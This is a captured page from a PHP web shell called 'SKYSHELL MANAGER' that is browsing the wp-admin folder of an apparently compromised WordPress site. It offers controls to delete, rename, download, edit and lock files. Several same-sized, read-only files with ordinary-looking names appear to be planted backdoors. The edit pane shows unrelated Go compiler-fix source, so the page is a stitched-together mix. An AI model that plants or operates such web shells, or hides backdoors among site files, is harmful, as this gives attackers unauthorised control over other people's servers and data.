📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
config.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
data.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: cftype.go
// Copyright 2017 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package main import ( "go/ast" "go/token" "reflect" "strings" ) func init() { register(cftypeFix) } var cftypeFix = fix{ name: "cftype", date: "2017-09-27", f: cftypefix, desc: `Fixes initializers and casts of C.*Ref and JNI types`, disabled: false, } // Old state: // // type CFTypeRef unsafe.Pointer // // New state: // // type CFTypeRef uintptr // // and similar for other *Ref types. // This fix finds nils initializing these types and replaces the nils with 0s. func cftypefix(f *ast.File) bool { return typefix(f, func(s string) bool { return strings.HasPrefix(s, "C.") && strings.HasSuffix(s, "Ref") && s != "C.CFAllocatorRef" }) } // typefix replaces nil with 0 for all nils whose type, when passed to badType, returns true. func typefix(f *ast.File, badType func(string) bool) bool { if !imports(f, "C") { return false } typeof, _ := typecheck(&TypeConfig{}, f) changed := false // step 1: Find all the nils with the offending types. // Compute their replacement. badNils := map[any]ast.Expr{} walk(f, func(n any) { if i, ok := n.(*ast.Ident); ok && i.Name == "nil" && badType(typeof[n]) { badNils[n] = &ast.BasicLit{ValuePos: i.NamePos, Kind: token.INT, Value: "0"} } }) // step 2: find all uses of the bad nils, replace them with 0. // There's no easy way to map from an ast.Expr to all the places that use them, so // we use reflect to find all such references. if len(badNils) > 0 { exprType := reflect.TypeOf((*ast.Expr)(nil)).Elem() exprSliceType := reflect.TypeOf(([]ast.Expr)(nil)) walk(f, func(n any) { if n == nil { return } v := reflect.ValueOf(n) if v.Type().Kind() != reflect.Pointer { return } if v.IsNil() { return } v = v.Elem() if v.Type().Kind() != reflect.Struct { return } for i := 0; i < v.NumField(); i++ { f := v.Field(i) if f.Type() == exprType { if r := badNils[f.Interface()]; r != nil { f.Set(reflect.ValueOf(r)) changed = true } } if f.Type() == exprSliceType { for j := 0; j < f.Len(); j++ { e := f.Index(j) if r := badNils[e.Interface()]; r != nil { e.Set(reflect.ValueOf(r)) changed = true } } } } }) } // step 3: fix up invalid casts. // It used to be ok to cast between *unsafe.Pointer and *C.CFTypeRef in a single step. // Now we need unsafe.Pointer as an intermediate cast. // (*unsafe.Pointer)(x) where x is type *bad -> (*unsafe.Pointer)(unsafe.Pointer(x)) // (*bad.type)(x) where x is type *unsafe.Pointer -> (*bad.type)(unsafe.Pointer(x)) walk(f, func(n any) { if n == nil { return } // Find pattern like (*a.b)(x) c, ok := n.(*ast.CallExpr) if !ok { return } if len(c.Args) != 1 { return } p, ok := c.Fun.(*ast.ParenExpr) if !ok { return } s, ok := p.X.(*ast.StarExpr) if !ok { return } t, ok := s.X.(*ast.SelectorExpr) if !ok { return } pkg, ok := t.X.(*ast.Ident) if !ok { return } dst := pkg.Name + "." + t.Sel.Name src := typeof[c.Args[0]] if badType(dst) && src == "*unsafe.Pointer" || dst == "unsafe.Pointer" && strings.HasPrefix(src, "*") && badType(src[1:]) { c.Args[0] = &ast.CallExpr{ Fun: &ast.SelectorExpr{X: &ast.Ident{Name: "unsafe"}, Sel: &ast.Ident{Name: "Pointer"}}, Args: []ast.Expr{c.Args[0]}, } changed = true } }) return changed }
Save